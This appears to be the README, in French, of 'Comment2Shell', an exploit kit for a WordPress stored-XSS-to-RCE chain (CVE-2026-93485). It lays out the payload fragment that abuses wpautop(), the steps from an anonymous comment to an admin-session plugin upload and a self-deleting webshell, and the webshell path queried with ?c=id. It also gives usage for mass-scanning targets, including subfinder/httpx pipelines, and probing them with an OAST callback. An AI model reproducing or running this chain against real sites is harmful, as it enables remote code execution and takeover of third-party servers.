Chaîne d'exploitation WordPress CVE-2026-93485 pré-authentification sans clic : XSS stocké dans wpautop() menant à l'upload d'un plugin via une session admin et à un webshell auto-supprimant, avec scanner, shell et template Nuclei.
Comment2Shell est une preuve de concept de bout en bout pour CVE-2026-93485, une
XSS stockée pré-authentification dans le cœur de WordPress wpautop() qui
s'élève en exécution de code à distance au sein d'une session administrateur. Un
commentaire anonyme dépose la charge utile ; lorsqu'un administrateur ouvre l'article, le
navigateur téléverse un plugin webshell, exécute une commande, puis supprime à nouveau le shell.
Toute la chaîne tient dans un seul fichier Python sans dépendances.
Comment2Shell est un kit d'exploitation et de laboratoire local pour CVE-2026-93485. La faille
réside dans wp-includes/formatting.php, dans le filtre de paragraphe wpautop()
qui s'exécute au moment de l'affichage sur le texte des commentaires. Un saut de ligne à l'intérieur d'un
attribut blockquote cite devient un espace réservé de commentaire HTML ; la
regex qui encadre les blockquotes s'arrête au premier > et injecte une
balise de paragraphe au milieu de l'attribut, que le navigateur interprète ensuite
comme un gestionnaire onfocus. L'attribut autofocus le déclenche
sans clic.
L'outil couvre toute la chaîne : un scan de version passif, une sonde XSS bénigne, l'exploit complet de la pré-authentification jusqu'à la RCE, un shell interactif, et une vérification défensive des IOC.
L'exploit ne nécessite aucun compte, aucun nonce, et aucune interaction au-delà du fait que l'administrateur consulte l'article. Les commentaires doivent seulement être ouverts.
WordPress alimente une large part du web et wpautop() est du code cœur, donc
le filtre vulnérable est livré sur chaque installation affectée, quel que soit le thème
ou le plugin. La XSS est stockée, pré-authentification et sans clic. Parce
qu'elle s'exécute dans la session administrateur, elle va au-delà d'un simple bug de défiguration : le
cookie administrateur suffit pour installer un plugin, et installer un plugin revient à une
exécution de code arbitraire.
Le correctif a été livré dans WordPress 7.1.1 avec des rétroportages sur 25 branches, jusqu'à la 4.7.36. Toutes les versions de la 4.7.0 à la 7.1.0 sont affectées.
Exécution en laboratoire contrôlé contre WordPress 7.1.0 : un commentaire anonyme dépose
la charge utile, l'administrateur ouvrant l'article déclenche la chaîne sans clic, le
webshell est téléversé, la sortie de la commande est renvoyée, et le shell se supprime
lui-même. Le titre de l'onglet du navigateur rapporte le résultat, soit
Comment2Shell: shell uploaded soit Comment2Shell: admin login required.
Voir docker/README.md pour la procédure exacte.
Comment2Shell ne revendique pas la découverte de la faille. Elle a été signalée par Rafie Muhammad (Awesome Motive) via le programme WordPress de HackerOne et corrigée dans la 7.1.1. La contribution ici est une implémentation reproductible et sans dépendances de la chaîne complète :
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Python 3.8+ bibliothèque standard uniquement, sans pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -dL targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
Chaque objet de résultat contient ces champs :
| Champ | Signification |
|---|---|
target | l'URL cible normalisée |
wordpress | true lorsque WordPress a été détecté |
version | la version détectée, ou null |
version_method | la méthode utilisée pour trouver la version, par exemple meta ou readme |
vulnerable | true, false, ou null lorsque la version est inconnue |
post_id | un ID de billet commentable, ou null |
error | une chaîne d'erreur, ou null |
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example